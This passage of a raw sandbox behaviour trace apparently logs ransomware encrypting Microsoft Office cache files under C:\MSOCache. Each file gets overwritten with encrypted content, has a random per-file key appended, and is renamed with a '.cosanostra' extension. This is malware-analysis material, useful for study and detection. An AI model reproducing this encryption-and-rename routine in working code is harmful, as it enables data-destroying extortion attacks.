lpNumberOfBytesWritten=0x26fef14*=0x2800, lpOverlapped=0x0) returned 1 [0108.227] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.227] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x26fef54*, lpNumberOfBytesWritten=0x26fef14*=0x4, lpOverlapped=0x0) returned 1 [0108.243] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef14*=0x30, lpOverlapped=0x0) returned 1 [0108.243] CloseHandle (hObject=0xe8) returned 1 [0108.244] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra") returned 87 [0108.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.cosanostra")) returned 1 [0108.264] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef50 | out: pbBuffer=0x26fef50) returned 1 [0108.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef48*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef48*=0x30) returned 1 [0108.265] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.266] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 81 [0108.266] StrStrW (lpFirst="ProPlusrWW.xml", lpSrch=".txt") returned 0x0 [0108.347] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.347] WriteFile (in: hFile=0xe8, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26fef0c*=0x2800, lpOverlapped=0x0) returned 1 [0108.347] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.347] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x26fef4c*, lpNumberOfBytesWritten=0x26fef0c*=0x4, lpOverlapped=0x0) returned 1 [0108.351] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef0c*=0x30, lpOverlapped=0x0) returned 1 [0108.351] CloseHandle (hObject=0xe8) returned 1 [0108.352] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.cosanostra") returned 92 [0108.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.cosanostra")) returned 1 [0108.352] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef50 | out: pbBuffer=0x26fef50) returned 1 [0108.352] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef48*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef48*=0x30) returned 1 [0108.353] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.353] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0108.353] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0 [0108.446] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.446] WriteFile (in: hFile=0xe8, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26fef0c*=0x2800, lpOverlapped=0x0) returned 1 [0108.447] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.447] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x26fef4c*, lpNumberOfBytesWritten=0x26fef0c*=0x4, lpOverlapped=0x0) returned 1 [0108.451] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef0c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef0c*=0x30, lpOverlapped=0x0) returned 1 [0108.451] CloseHandle (hObject=0xe8) returned 1 [0108.451] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra") returned 102 [0108.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.cosanostra")) returned 1 [0108.452] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef48 | out: pbBuffer=0x26fef48) returned 1 [0108.452] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef40*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef40*=0x30) returned 1 [0108.452] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.453] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0108.453] StrStrW (lpFirst="Office32WW.xml", lpSrch=".txt") returned 0x0 [0108.468] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.468] WriteFile (in: hFile=0xe8, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26fef04*=0x10b2, lpOverlapped=0x0) returned 1 [0108.468] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.468] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x26fef44*, lpNumberOfBytesWritten=0x26fef04*=0x4, lpOverlapped=0x0) returned 1 [0108.469] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef04*=0x30, lpOverlapped=0x0) returned 1 [0108.469] CloseHandle (hObject=0xe8) returned 1 [0108.471] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra") returned 92 [0108.471] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.cosanostra")) returned 1 [0108.472] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef48 | out: pbBuffer=0x26fef48) returned 1 [0108.472] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef40*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef40*=0x30) returned 1 [0108.473] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.487] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 93 [0108.489] StrStrW (lpFirst="AccessMUI.xml", lpSrch=".txt") returned 0x0 [0109.129] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xfffffabb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.129] WriteFile (in: hFile=0xe8, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26fef04*=0x545, lpOverlapped=0x0) returned 1 [0109.129] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.129] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x26fef44*, lpNumberOfBytesWritten=0x26fef04*=0x4, lpOverlapped=0x0) returned 1 [0109.129] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef04, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef04*=0x30, lpOverlapped=0x0) returned 1 [0109.129] CloseHandle (hObject=0xe8) returned 1 [0109.130] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.cosanostra") returned 104 [0109.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.cosanostra")) returned 1 [0109.131] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef40 | out: pbBuffer=0x26fef40) returned 1 [0109.131] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef38*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef38*=0x30) returned 1 [0109.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef40 | out: pbBuffer=0x26fef40) returned 1 [0109.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef38*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef38*=0x30) returned 1 [0109.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef38 | out: pbBuffer=0x26fef38) returned 1 [0109.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef30*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef30*=0x30) returned 1 [0109.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0109.133] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0109.133] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0109.136] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffe79f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.136] WriteFile (in: hFile=0xe8, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x26feef4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26feef4*=0x1861, lpOverlapped=0x0) returned 1 [0109.136] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.137] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26feef4, lpOverlapped=0x0 | out: lpBuffer=0x26fef34*, lpNumberOfBytesWritten=0x26feef4*=0x4, lpOverlapped=0x0) returned 1 [0109.137] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feef4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feef4*=0x30, lpOverlapped=0x0) returned 1 [0109.137] CloseHandle (hObject=0xe8) returned 1 [0109.137] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0109.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0109.138] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef38 | out: pbBuffer=0x26fef38) returned 1 [0109.138] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef30*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef30*=0x30) returned 1 [0109.139] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.139] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef30 | out: pbBuffer=0x26fef30) returned 1 [0109.139] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef28*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef28*=0x30) returned 1 [0109.139] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.142] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef28 | out: pbBuffer=0x26fef28) returned 1 [0109.142] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef20*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef20*=0x30) returned 1 [0109.142] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0109.143] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0109.143] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0109.145] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.145] WriteFile (in: hFile=0xe8, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26feee4*=0x73c, lpOverlapped=0x0) returned 1 [0109.145] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.145] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x26fef24*, lpNumberOfBytesWritten=0x26feee4*=0x4, lpOverlapped=0x0) returned 1 [0109.145] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feee4*=0x30, lpOverlapped=0x0) returned 1 [0109.145] CloseHandle (hObject=0xe8) returned 1 [0109.146] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0109.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0109.147] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef28 | out: pbBuffer=0x26fef28) returned 1 [0109.147] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef20*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef20*=0x30) returned 1 [0109.147] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0109.148] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 82 [0109.148] StrStrW (lpFirst="InfoPathMUI.xml", lpSrch=".txt") returned 0x0 [0109.250] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xfffffb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.250] WriteFile (in: hFile=0xe8, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26feee4*=0x4cf, lpOverlapped=0x0) returned 1 [0109.250] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.250] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x26fef24*, lpNumberOfBytesWritten=0x26feee4*=0x4, lpOverlapped=0x0) returned 1 [0109.250] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feee4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feee4*=0x30, lpOverlapped=0x0) returned 1 [0109.250] CloseHandle (hObject=0xe8) returned 1 [0109.250] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.cosanostra") returned 93 [0109.250] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.cosanostra")) returned 1 [0109.252] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef20 | out: pbBuffer=0x26fef20) returned 1 [0109.252] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef18*=0x30) returned 1 [0109.252] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0109.253] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 82 [0109.253] StrStrW (lpFirst="Office32MUI.msi", lpSrch=".txt") returned 0x0 [0109.346] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.346] WriteFile (in: hFile=0xe8, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26feedc*=0x2800, lpOverlapped=0x0) returned 1 [0109.346] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.346] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef1c*, nNumberOfBytesToWrite=0x4, 